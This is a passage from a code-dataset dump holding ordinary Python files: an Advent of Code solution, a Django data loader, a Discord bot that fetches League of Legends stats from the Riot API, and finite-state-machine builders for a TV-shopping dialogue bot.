"torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "timm.models.layers.trunc_normal_", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 94, "usage_type": "call"}, {"api_name": "timm.models.layers.trunc_normal_", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.meshgrid", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 100, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 127, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn.functional.grid_sample", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.einsum", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn.functional.grid_sample", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 186, "usage_type": "name"}, {"api_name": "torch.einsum", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 216, "usage_type": "call"}, {"api_name": "utils.measure_flops_params", "line_number": 217, "usage_type": "call"}, {"api_name": "utils.measure_throughput_cpu", "line_number": 218, "usage_type": "call"}, {"api_name": "utils.measure_throughput_gpu", "line_number": 219, "usage_type": "call"}]}
{"seq_id": "31759430500", "text": "from collections import deque\n\nplants = set()\ninp = open(\"Resources/input12.txt\").readlines()\ninitial_state = inp[0].split(\": \")[1].strip()\nfor i in range(len(initial_state)):\n    if initial_state[i] == \"#\":\n        plants.add(i)\nnotes = set()\nfor j in range(2,len(inp)):\n    src,dst = inp[j].strip().split(\" => \")\n    if dst == \"#\":\n        notes.add(src)\n\nbuffer = deque(list(\".....\"))\nfor gen in range(2000):\n    new_plants = set()\n    for i in range(min(plants)-2,max(plants)+3):\n        buffer.popleft()\n        if (i+2) in plants:\n            buffer.append(\"#\")\n        else:\n            buffer.append(\".\")\n        \n        if \"\".join(buffer) in notes:\n            new_plants.add(i)\n    plants = new_plants\n    if gen == 19:\n        print(\"Part 1:\",sum(plants))\n    if gen % 100 == 99:\n        print(\"Gen={}, Plant Count={}, Sum={}\".format(gen+1,len(plants),sum(plants)))\n#From looking at the results over time, the plant count remains the same, they just shift to the right. The sum\n#follows the pattern of sum = 8898 + 81*(gen-100). Putting 50 billion into this formula yields the part 2 answer\nprint(\"Part 2:\",8898 + 81*(50000000000-100))", "repo_name": "andrewfroehlich/AdventOfCode", "sub_path": "2018/problem12.py", "file_name": "problem12.py", "file_ext": "py", "file_size_in_byte": 1147, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.deque", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "14696343513", "text": "import os\n\nimport django\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"carValue.settings\")\ndjango.setup()\n\nfrom avg_price_calculator.models import Car\n\n\n\n\ndef parse_value(value):\n    if value == \"\":\n        return None\n    if value == \"TRUE\":\n        return True\n    if value == \"FALSE\":\n        return False\n    return value\n\n\ndef process_lines(lines, field_names):\n    objs = []\n    for line in lines:\n        new_dict = dict(zip(field_names, map(parse_value, line.split(\"|\"))))\n        objs.append(Car(**new_dict))\n    return objs\n\n\ndef bulk_create_cars(objs):\n    try:\n        Car.objects.bulk_create(objs)\n    except Exception as e:\n        print(\"error: \", e)\n\n\nif __name__ == \"__main__\":\n    \n\n    try:\n        with open(\"data_reduced1.txt\", \"r\") as f:\n            lines = [line.strip() for line in f if line.strip()]\n            field_names = lines[0].split(\"|\")\n            lines = lines[1:]\n    except FileNotFoundError:\n        print(\"File data_reduced1.txt not found.\")\n    except Exception as e:\n        print(\"Error reading file:\", e)\n    else:\n        objs = process_lines(lines, field_names)\n        bulk_create_cars(objs)\n", "repo_name": "najamF18/VinAudit-test-project", "sub_path": "populate.py", "file_name": "populate.py", "file_ext": "py", "file_size_in_byte": 1143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.environ.setdefault", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 6, "usage_type": "call"}, {"api_name": "avg_price_calculator.models.Car", "line_number": 27, "usage_type": "call"}, {"api_name": "avg_price_calculator.models.Car.objects.bulk_create", "line_number": 33, "usage_type": "call"}, {"api_name": "avg_price_calculator.models.Car.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "avg_price_calculator.models.Car", "line_number": 33, "usage_type": "name"}]}
{"seq_id": "33719203006", "text": "import discord, requests, os\nfrom riotwatcher import LolWatcher\nfrom discord.ext import commands\nfrom functions.func import blacklist, define, champ\nfrom datetime import datetime\nfrom dotenv import load_dotenv\n\nemblems = {\n                \"bronze\":\"<:bronze:896581593118945300>\",\n                \"silver\":\"<:silver:896583109959614514>\",\n                \"gold\":\"<:gold:896582843793289307>\",\n                \"platinum\":\"<:platinum:896583078724636683>\",\n                \"diamond\":\"<:diamond:896582802567471114>\",\n                \"master\":\"<:master:896582998953185300>\",\n                \"grandmaster\":\"<:grandmaster:896582880430542888>\",\n                \"challenger\":\"<:challenger:896582773891014676>\"\n            }\n\nload_dotenv()\nAPI_KEY = os.getenv('API_RIOT_KEY')\n\nclass Lol(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.Cog.listener()\n    async def on_ready(self):\n        print(\"[*]League of Legends Cog Carregado\")\n\n\n    @commands.command(help=\"Mostra informações sobre determinado player\", description=\"titulo;Informação;aliases;info;description;Mostra informações sobre um player;exemplo;=info  [região]\")\n    async def info(self, ctx, *, summonername, region=\"br1\"):\n        if ctx.author.id not in blacklist():\n            try:\n                summonername = summonername.lower().replace(\" \", \"\")\n                for c in [\"EUN1\", \"EUW1\", \"JP1\", \"KR\", \"LA1\", \"LA2\", \"NA1\", \"OC1\", \"RU\", \"TR1\"]:\n                    if c in summonername.upper():\n                        region = c\n                if region == \"br1\":\n                    summoner_info = requests.get(f\"https://{region.lower()}.api.riotgames.com/lol/summoner/v4/summoners/by-name/{summonername}?api_key={API_KEY}\").json()\n                else:\n                    summoner_info = requests.get(f\"https://{region.lower()}.api.riotgames.com/lol/summoner/v4/summoners/by-name/{summonername[:-2]}?api_key={API_KEY}\").json()\n                summoner_ranked_info = LolWatcher(f\"{API_KEY}\").league.by_summoner(f\"{region}\", f\"{summoner_info['id']}\")\n                def emblema(tier):\n                    for keys, values in emblems.items():\n                        if tier.lower() == keys:\n                            return values\n                def queue_type(queueType):\n                    if queueType == \"RANKED_FLEX_SR\":\n                        return \"Flex\"\n                    elif queueType == \"RANKED_SOLO_5x5\":\n                        return \"Solo/Duo\"\n                embed = discord.Embed(\n                    title = summoner_info[\"name\"]\n                )\n                def maestria(i):\n                    if i == 7:\n                        return \"<:m7:930979443520987146>\"\n                    elif i == 6:\n                        return '<:m6:930979417331736616>'\n                    elif i == 5:\n                        return '<:m5:930979384771379250>'\n                    else:\n                        return '<:m4:930979314063781949>'\n                embed.add_field(name=\"Level\", value=summoner_info[\"summonerLevel\"])\n                if len(summoner_ranked_info) > 1:\n                    embed.add_field(name=queue_type(summoner_ranked_info[0][\"queueType\"]), value=emblema(summoner_ranked_info[0]['tier'].lower()) + summoner_ranked_info[0]['tier'].capitalize() + \" \" + summoner_ranked_info[0][\"rank\"] + f\" ({summoner_ranked_info[0]['leaguePoints']})\")\n                    embed.add_field(name=queue_type(summoner_ranked_info[1][\"queueType\"]), value=emblema(summoner_ranked_info[1]['tier'].lower()) + summoner_ranked_info[1]['tier'].capitalize() + \" \" + summoner_ranked_info[1][\"rank\"]+ f\" ({summoner_ranked_info[1]['leaguePoints']})\")\n                elif len(summoner_ranked_info) == 1:\n                    embed.add_field(name=queue_type(summoner_ranked_info[0][\"queueType\"]), value=emblema(summoner_ranked_info[0]['tier'].lower()) + summoner_ranked_info[0]['tier'].capitalize() + \" \" + summoner_ranked_info[0][\"rank\"]+ f\" ({summoner_ranked_info[0]['leaguePoints']})\")\n                embed.set_footer(text=\"Se o jogador que pesquisava não condiz com o jogador acima, tente trocar de região.\")\n                embed.set_thumbnail(url=\"https://raw.communitydragon.org/latest/plugins/rcp-be-lol-game-data/global/default/v1/profile-icons/\"+str(summoner_info[\"profileIconId\"]) + \".jpg\")\n\n                masteries = requests.get(f\"https://br1.api.riotgames.com/lol/champion-mastery/v4/champion-masteries/by-summoner/{summoner_info['id']}?api_key={API_KEY}\").json()[:3]\n                try:\n                    for c in range(3):\n                        embed.add_field(name=f\"\\n{'<:ba:931153229952192522>' if not masteries[c]['chestGranted'] else ''} {define(champ(masteries[c]['championId'], False), False)}\", value=f\"Rank: {maestria(masteries[c]['championLevel'])}{masteries[c]['championPoints']} pts\\nÚltima vez jogado: {datetime.fromtimestamp(int(masteries[c]['lastPlayTime'])/1000.0).strftime('%d/%m/%y')}\", inline=False)\n                except IndexError:\n                    pass\n\n                await ctx.send(embed=embed)\n            except KeyError:\n                await ctx.send(\"Usuário não encontrado.\")\n        else:\n            await ctx.send(\"vai tomar no seu cu\")\n\n\n    @commands.command(help=\"Mostra informações sobre determinado champion.\", aliases=['champ', 'ch'], description=\"titulo;Campeão;aliases;champion, champ, ch;description;Mostra informações sobre o champion;exemplo;=champion \")\n    async def champion(self, ctx, *, champion_name):\n        if ctx.author.id not in blacklist():\n            champion_name = define(champion_name.replace(\" \", \"\").replace(\"'\", \"\").capitalize())\n            try:\n                champion_info = requests.get(\"http://ddragon.leagueoflegends.com/cdn/12.2.1/data/pt_BR/champion.json\").json()[\"data\"][f\"{champion_name}\"]\n            except KeyError:\n                await ctx.send(\"Champion não encontrado\")\n                return\n                \n            embed = discord.Embed(\n                title= champion_info[\"name\"] + \", \" + champion_info[\"title\"],\n                description= champion_info[\"blurb\"],\n                url=f\"https://www.leagueofgraphs.com/pt/champions/builds/{champion_info['name'].replace(' ', '').lower()}\"\n            )\n            embed.set_thumbnail(url=\"https://raw.communitydragon.org/latest/plugins/rcp-be-lol-game-data/global/default/v1/champion-icons/\" + str(champion_info[\"key\"]) + \".png\")\n            embed.add_field(name=\"Classe(s)\", value='\\n'.join(champion_info[\"tags\"]))\n            embed.add_field(name=\"Base Stats\", value=\n                                                \"<:health:896579402912108615>Health: \"+str(champion_info[\"stats\"][\"hp\"]) + \"\\n\" +\n                                                \"<:mana:896579329071386634>Mana: \"+str(champion_info[\"stats\"][\"mp\"]) + \"\\n\" +\n                                                \"<:armor:896579352483991553>Armor: \"+str(champion_info[\"stats\"][\"armor\"]) + \"\\n\" +\n                                                \"<:magicresist:896579427746611262>Magic Resist: \"+str(champion_info[\"stats\"][\"spellblock\"]) + \"\\n\" +\n                                                \"<:movespeed:896579462311837716>Movement Speed: \"+str(champion_info[\"stats\"][\"movespeed\"]) + \"\\n\" +\n                                                \"<:attackdamage:896579376135675956>Attack Damage: \"+str(champion_info[\"stats\"][\"attackdamage\"])\n                                                )\n            embed.set_image(url=\"https://raw.communitydragon.org/latest/plugins/rcp-be-lol-game-data/global/default/v1/champion-splashes/\"+str(champion_info[\"key\"])+\"/\"+str(champion_info[\"key\"])+\"000.jpg\")\n            await ctx.send(embed=embed)\n        else:\n            await ctx.send(\"vai tomar no seu cu\")\n\n\n    @commands.command(help=\"Mostra os champions dessa semana\", description=\"titulo;Rotação;aliases;rotation;description;Mostra os champions grátis dessa semana;exemplo;=rotation\")\n    async def rotation(self, ctx):\n        r = requests.get(f\"https://br1.api.riotgames.com/lol/platform/v3/champion-rotations?api_key={API_KEY}\").json()[\"freeChampionIds\"]\n        embed = discord.Embed(title=\"Rotação grátis\", description='**-  {}**'.format(\"\\n - \".join([champ(x, False) for x in r])))\n        await ctx.send(embed=embed)\n\nasync def setup(bot):\n    await bot.add_cog(Lol(bot))", "repo_name": "Kisrym/LittleCum", "sub_path": "cogs/lol.py", "file_name": "lol.py", "file_ext": "py", "file_size_in_byte": 8353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 19, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 20, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 22, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 22, "usage_type": "name"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 26, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 26, "usage_type": "name"}, {"api_name": "functions.func.blacklist", "line_number": 33, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 42, "usage_type": "call"}, {"api_name": "riotwatcher.LolWatcher", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 53, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 74, "usage_type": "call"}, {"api_name": "functions.func.define", "line_number": 77, "usage_type": "call"}, {"api_name": "functions.func.champ", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 31, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 31, "usage_type": "name"}, {"api_name": "functions.func.blacklist", "line_number": 90, "usage_type": "call"}, {"api_name": "functions.func.define", "line_number": 91, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 93, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 98, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 88, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 88, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 121, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 122, "usage_type": "call"}, {"api_name": "functions.func.champ", "line_number": 122, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 119, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 119, "usage_type": "name"}]}
{"seq_id": "43063270402", "text": "from transitions import Machine\r\nimport random\r\nimport itertools\r\nfrom loggers import dbot_online_logger\r\nfrom dialogue_state.domain import is_intent_rule\r\nimport json\r\nfrom path_config import  *\r\n## non_branched fsa\r\nclass buy_tv_state(object):\r\n    pass\r\n\r\nintents = [\"buy_tv\",\"inform_size\",\"inform_resolution\",\"inform_brandname\"]\r\nstates=[\"start\",'how can i help you' ]+[str(n+1)+\"after_\"+u for n,u in enumerate(intents)]\r\n#print(states)\r\n\r\ndef get_states_from_transitions(transtions):\r\n    states = []\r\n    for t in transtions:\r\n        states.append(t['source'])\r\n        states.append(t['dest'])\r\n    return list(set(states))\r\n\r\ndef load_edge2rule_by_taskname(taskname):\r\n    edgename2condition = None\r\n    with open(fsm_edge_rule_config.format(taskname)) as json_file:\r\n        edgename2condition = json.load(json_file)\r\n    return edgename2condition\r\n\r\ndef load_state2action_by_taskname(taskname):\r\n    with open(fsm_state_action_config.format(taskname)) as json_file:\r\n        state_action_mapper = json.load(json_file)\r\n    return state_action_mapper\r\n\r\ndef load_transition_by_taskname(taskname):\r\n    with open(fsm_transition_config.format(taskname)) as json_file:\r\n        transition = json.load(json_file).get(\"transitions\")\r\n    return transition\r\n\r\ndef load_fsm_config_by_taskname(taskname):\r\n    transition = load_transition_by_taskname(taskname)\r\n    edgename2condition = load_edge2rule_by_taskname(taskname)\r\n    state_action_mapper = load_state2action_by_taskname(taskname)\r\n    states = get_states_from_transitions(transition)\r\n    return transition,states,edgename2condition,state_action_mapper\r\n\r\ntv_transition = [\r\n    { 'trigger': 'buy_tv', 'source': 'start', 'dest': '1after_buy_tv' },\r\n    { 'trigger': 'inform_size', 'source': '1after_buy_tv', 'dest': '2after_inform_size' },\r\n    { 'trigger': 'inform_resolution', 'source': '2after_inform_size', 'dest': '3after_inform_resolution' },\r\n    { 'trigger': 'inform_brandname', 'source': '3after_inform_resolution', 'dest': '4after_inform_brandname' },\r\n    { 'trigger': 'greet', 'source': 'start', 'dest': 'how can i help you' },\r\n    { 'trigger': 'buy_tv2', 'source': 'how can i help you' , 'dest': '1after_buy_tv' },\r\n]\r\nfor i,state in enumerate(states):\r\n    if state == \"3after_inform_resolution\" or state == \"4after_inform_brandname\":\r\n        continue\r\n    d = { 'trigger': \"all_filled_\"+str(i), 'source': state, 'dest': '4after_inform_brandname' }\r\n    tv_transition.append(d)\r\n\r\n\r\n\r\ndef ask_next_slot_task_fsm(slots,start_state='start',end_state = 'end',slot_unfilled_reask = True):\r\n    '''\r\n    ask next unfilled slot\r\n    :param slots:\r\n    :param start_state:\r\n    :param end_state:\r\n    :param slot_unfilled_reask:\r\n    :return:\r\n    '''\r\n    transition = []\r\n    states = []\r\n    n = len(slots)\r\n    for i in range(n):\r\n        d = {'trigger': 'any unfilled', 'source': \"ask_next_one\" + str(i - 1), 'dest': \"ask_next_one\" + str(i)}\r\n        if i == 0:\r\n            d = {'trigger': 'any unfilled', 'source': start_state , 'dest': \"ask_next_one\" + str(i)}\r\n\r\n        transition.append(d)\r\n        states.append(d['source'])\r\n        states.append(d['dest'])\r\n    for s in states[:]:\r\n        d = {'trigger': 'all filled', 'source': s, 'dest': end_state}\r\n        transition.append(d)\r\n    states.append(end_state)\r\n    states = list(set(states))\r\n    states.sort()\r\n    return transition,states\r\n\r\ndef ask_next_buy_tv():\r\n    slots =[\"size\", \"brandname\", \"resolution\"]\r\n    transition,states = ask_next_slot_task_fsm([\"size\", \"brandname\", \"resolution\"])\r\n    edge2condition = {\r\n        'any unfilled':['any unfilled'],\r\n        'all filled':[slot + \" filled\" for slot in slots],\r\n    }\r\n    state_action_map = {\r\n        'ask_next_one0': ['action_ask_next_slot'],\r\n        'ask_next_one1': ['action_ask_next_slot'],\r\n        'ask_next_one2': ['action_ask_next_slot'],\r\n        'ask_next_one3': ['action_ask_next_slot'],\r\n        'end': [\"utter_tv_summary\",\"utter_send_tv_order\"]}\r\n    return states, None, transition, edge2condition, state_action_map\r\n\r\n\r\ndef n_edges_with_affirm_task_fsm(slots):\r\n    filled = \"filled\"\r\n    filled = \"已填充\"\r\n    unfilled = \"unfilled\"\r\n    unfilled = \"未填充\"\r\n    chinese_affirm = \"向用户确认槽位{}的值\"\r\n    english_affirm = \"ask user whether the slot {} is xxx\"\r\n    transition = []\r\n    states = []\r\n    n = len(slots)\r\n    for slot_index,slot in enumerate(slots):\r\n        condition = slot + \" \"+filled\r\n        if slot_index == n-1:\r\n            dest_state = \"finish\"\r\n            continue\r\n        else:\r\n            next_slot= slots[slot_index+1]\r\n\r\n            dest_state =\"ask_\" + next_slot\r\n        d = {'trigger': condition+\"{} unfilled\".format(next_slot), 'source': \"ask_\" + slot, 'dest': dest_state}\r\n        d2 = {'trigger': slot + \" \"+filled, 'source': \"ask_\" + slot, 'dest': english_affirm.format(slot)}\r\n        transition.append(d)\r\n        transition.append(d2)\r\n        states.append(d['source'])\r\n        states.append(d2['source'])\r\n        states.append(d['dest'])\r\n        states.append(d2['dest'])\r\n\r\n    states = list(set(states))\r\n    states.sort()\r\n    return transition, states\r\n\r\ndef n_edges_task_fsm(slots,start_state='start',end_state = 'end',slot_unfilled_reask = True):\r\n    '''\r\n    n edges design\r\n    in one turn,the agent can move more than one node\r\n    :param slots:\r\n    :param start_state:\r\n    :param end_state:\r\n    :param slot_unfilled_reask:if a slot is unfilled,ask again\r\n    :return:\r\n    '''\r\n    transition = []\r\n    states = []\r\n    n = len(slots)\r\n    # slot a to slot b\r\n    for slot_index,slot in enumerate(slots):\r\n        condition = slot + \" filled\"\r\n        if slot_index == n-1:\r\n            dest_state = \"finish\"\r\n            continue\r\n        else:\r\n            next_slot= slots[slot_index+1]\r\n\r\n            dest_state =\"ask_\" + next_slot\r\n        d = {'trigger': condition, 'source': \"ask_\" + slot, 'dest': dest_state}\r\n        transition.append(d)\r\n        states.append(d['source'])\r\n        states.append(d['dest'])\r\n    # check slot is filled or not\r\n    for slot_index, slot in enumerate(slots):\r\n        condition = slot + \" unfilled\"\r\n        d = {'trigger': condition, 'source': \"ask_\" + slot, 'dest': \"ask_\" + slot}\r\n        transition.append(d)\r\n        states.append(d['source'])\r\n        states.append(d['dest'])\r\n    d = {'trigger': \"any unfilled or intent is buy tv\", 'source': start_state, 'dest': \"ask_\" + slots[0]}\r\n    states.append(d['source'])\r\n    states.append(d['dest'])\r\n    transition.append(d)\r\n    d = {'trigger': \"all filled\", 'source': \"ask_\" + slots[-1], 'dest':end_state }\r\n    states.append(d['source'])\r\n    states.append(d['dest'])\r\n\r\n    transition.append(d)\r\n    states = list(set(states))\r\n    states.sort()\r\n    return transition, states\r\n\r\ndef unfilled_fsm_policy(slots,start_state='start',end_state = 'end',add_start2nodes = True,add_nodes2end = True):\r\n    '''\r\n    n *(n-1) edges design\r\n    :param slots:\r\n    :param start_state:\r\n    :param end_state:\r\n    :param add_start2nodes: unfill one slot then ask\r\n    :param add_nodes2end:  if fill all , then finish\r\n    :return:\r\n    '''\r\n    transition = []\r\n    states = []\r\n    n = len(slots)\r\n    perms = list(itertools.permutations([int(i) for i in range(n)], 2))\r\n    for perm in perms:\r\n        end_i = perm[1]\r\n        miss_slotname = slots[end_i]\r\n        last_miss_slotname = slots[perm[0]]\r\n        condition = miss_slotname + \" unfilled\"\r\n        d = {'trigger':condition , 'source': \"ask_\"+last_miss_slotname, 'dest': \"ask_\"+miss_slotname}\r\n        transition.append(d)\r\n        states.append(d['source'])\r\n        states.append(d['dest'])\r\n    states = list(set(states))\r\n    if add_nodes2end:\r\n        for source_node in states:\r\n            d = {'trigger': \"all filled\", 'source': source_node, 'dest': end_state}\r\n            transition.append(d)\r\n    if add_start2nodes:\r\n        for end_node in states:\r\n            slot = end_node.split(\"_\")[-1]\r\n            d = {'trigger': slot+\" unfilled\", 'source': start_state, 'dest': end_node}\r\n            transition.append(d)\r\n    states += [start_state,end_state]\r\n    return transition,states\r\n\r\n\r\ndef edge_rule_maker(slots):\r\n    '''\r\n    unfilled form policy ,\r\n    make the rules for every possible edge\r\n    :param slots:\r\n    :return: dict\r\n    '''\r\n    edge2rules_dict = {}\r\n    for slot in slots:\r\n        edge2rules_dict[slot+\" unfilled\"] = [slot+\" unfilled\"]\r\n    edge2rules_dict['all filled'] = [slot + \" filled\" for slot in slots]\r\n    return edge2rules_dict\r\n\r\ndef n_edges_rule_maker(slots):\r\n    '''\r\n    unfilled form policy ,\r\n    make the rules for every possible edge\r\n    :param slots:\r\n    :return: dict\r\n    '''\r\n    edge2rules_dict = {}\r\n    for slot in slots:\r\n        edge2rules_dict[slot+\" filled\"] = [slot+\" filled\"]\r\n    edge2rules_dict[\"any unfilled\"] = [\"any unfilled\"]\r\n    edge2rules_dict['all filled'] = [slot + \" filled\" for slot in slots]\r\n    return edge2rules_dict\r\n\r\ndef merge_dict(dicts):\r\n    '''\r\n    merge multiple dicts into one dict\r\n    :param dicts: list[dict]\r\n    :return: dict\r\n    '''\r\n    new = dict()\r\n    for d in dicts:\r\n        for k,v in d.items():\r\n            new[k] = v\r\n    return new\r\n\r\n\r\n\r\ndef simulate_form_policy(slots):\r\n    transition = []\r\n    states = []\r\n    n = len(slots)\r\n    string = \"\".join([str(i) for i in range(n)])\r\n    a = list(itertools.permutations(string, n))\r\n    #print(a)\r\n    ##[('0', '1', '2'), ('0', '2', '1'), ('1', '0', '2'), ('1', '2', '0'), ('2', '0', '1'), ('2', '1', '0')]\r\n    for perm in a:\r\n        for i,slot_index_str in enumerate(perm):\r\n            slot_index = int(slot_index_str)\r\n            cur_slot = slots[slot_index]\r\n            source_state = \"ask_\"\r\n            slot_i_s = list(perm[:i])\r\n            slot_i_s = [int(j) for j in slot_i_s]\r\n            slotnames = [slots[j] for j in slot_i_s]\r\n            #source_state+=\"\".join(list(perm[:i]))\r\n            source_state+=\"_\".join(slotnames)\r\n            if source_state == \"ask_\":\r\n                dest_state = source_state+ slots[slot_index]\r\n            else:\r\n                dest_state = source_state+\"_\"+ slots[slot_index]\r\n            states.append(source_state)\r\n            states.append(dest_state)\r\n            d = {'trigger': cur_slot+\" unfilled \" , 'source': source_state, 'dest':dest_state }\r\n            transition.append(d)\r\n    states = list(set(states))+[\"end\"]\r\n    for perm in a:\r\n        slot_i_s = list(perm[:])\r\n        slot_i_s = [int(j) for j in slot_i_s]\r\n        slot_i_s = [slots[j] for j in slot_i_s]\r\n        slot_i_s_str = \"_\".join(slot_i_s)\r\n        for s in states:\r\n            if slot_i_s_str in s:\r\n                d = {'trigger': \" all filled \", 'source': s, 'dest': \"end\"}\r\n                transition.append(d)\r\n    for state in states:\r\n        if state!=\"end\":\r\n            d = {'trigger': \" all filled \", 'source': state, 'dest': \"end\"}\r\n            if d not in transition:\r\n                transition.append(d)\r\n    return transition,states\r\n\r\n\r\n\r\ndef reminder_data():\r\n    transition ,states = unfilled_fsm_policy([\"date\",\"time\",\"event\"],end_state=\"end_add_new_event\")\r\n    d = {'trigger': 'intent is ask_reminder', 'source': 'start', 'dest': 'end_search_event'}\r\n    transition.append(d)\r\n    states += ['end_search_event']\r\n    edgename2condition = edge_rule_maker([\"date\",\"time\",\"event\"])\r\n    edgename2condition['intent is ask_reminder'] = ['intent is ask_reminder']\r\n    state_action_map = {\r\n        'ask_date': [\"utter_ask_newevent_date\"],\r\n        'ask_time': ['utter_ask_newevent_time'],\r\n        'ask_event': [\"utter_ask_event\"],\r\n        'end_add_new_event': [\"action_set_reminder\"],\r\n        'end_search_event':[\"action_report_event\"]\r\n    }\r\n    return states, get_transition_data(transition), transition, edgename2condition, state_action_map\r\n\r\n\r\n\r\n\r\ndef n_edges_tv_data():\r\n    form_policy, states = n_edges_task_fsm([\"size\", \"brandname\", \"resolution\"])\r\n    edge2condition = n_edges_rule_maker([\"size\", \"brandname\", \"resolution\"])\r\n    state_action_map = {\r\n        'ask_brandname': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_resolution': ['utter_ask_resolution'],\r\n        'ask_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'end': [\"utter_tv_summary\",\"utter_send_tv_order\"]}\r\n    return states, get_transition_data(form_policy), form_policy, edge2condition, state_action_map\r\n\r\ndef new_tv_data():\r\n    form_policy, states = unfilled_fsm_policy([\"size\", \"brandname\", \"resolution\"])\r\n    edgename2condition = {'size unfilled': ['size unfilled'],\r\n                          'brandname unfilled': ['brandname unfilled'],\r\n                          'resolution unfilled': ['resolution unfilled'],\r\n                          'all filled': ['size filled', 'brandname filled', 'resolution filled']}\r\n    state_action_map = {\r\n        'ask_brandname': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_resolution': ['utter_ask_resolution'],\r\n        'ask_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'end': [\"utter_tv_summary\",\"utter_send_tv_order\"]}\r\n    return states, get_transition_data(form_policy), form_policy, edgename2condition, state_action_map\r\n\r\n\r\ndef tv_data():\r\n    form_policy, states = simulate_form_policy([\"size\", \"brand\", \"resolution\"])\r\n    #print({k[\"trigger\"]:[] for k in form_policy})\r\n    edgename2condition = {'size unfilled ': ['size unfilled'],\r\n                          'brand unfilled ': ['brandname unfilled'],\r\n                          'resolution unfilled ': ['resolution unfilled'],\r\n                          ' all filled ': ['size filled','brandname filled','resolution filled']}\r\n    #print({k: [] for k in states})\r\n\r\n    state_action_map = {\r\n        'ask_size_brand_resolution': ['utter_ask_resolution'],\r\n        'ask_brand': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_size_brand': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_resolution': ['utter_ask_resolution'],\r\n        'ask_resolution_brand': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_resolution_brand_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'ask_resolution_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'ask_size_resolution_brand': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_brand_resolution': ['utter_ask_resolution'],\r\n        'ask_resolution_size_brand': [\"utter_list_brand\",\"utter_ask_brand\"],\r\n        'ask_brand_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'ask_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'ask_size_resolution': ['utter_ask_resolution'],\r\n        'ask_brand_resolution_size': [\"utter_list_size\",\"utter_ask_size\"],\r\n        'ask_brand_size_resolution': ['utter_ask_resolution'],\r\n        'end': [\"utter_tv_summary\",\"utter_send_tv_order\"]}\r\n\r\n    return states,get_transition_data(form_policy) ,form_policy,edgename2condition,state_action_map\r\n\r\n#tv_data()\r\n#form_policy ,states = simulate_form_policy([\"size\",\"brand\",\"resolution\"])\r\ncondition2edge_name = dict()\r\n\r\n## edge name --> rule set\r\n\r\nedgename2condition = {\r\n    \"buy_tv\":[\"size 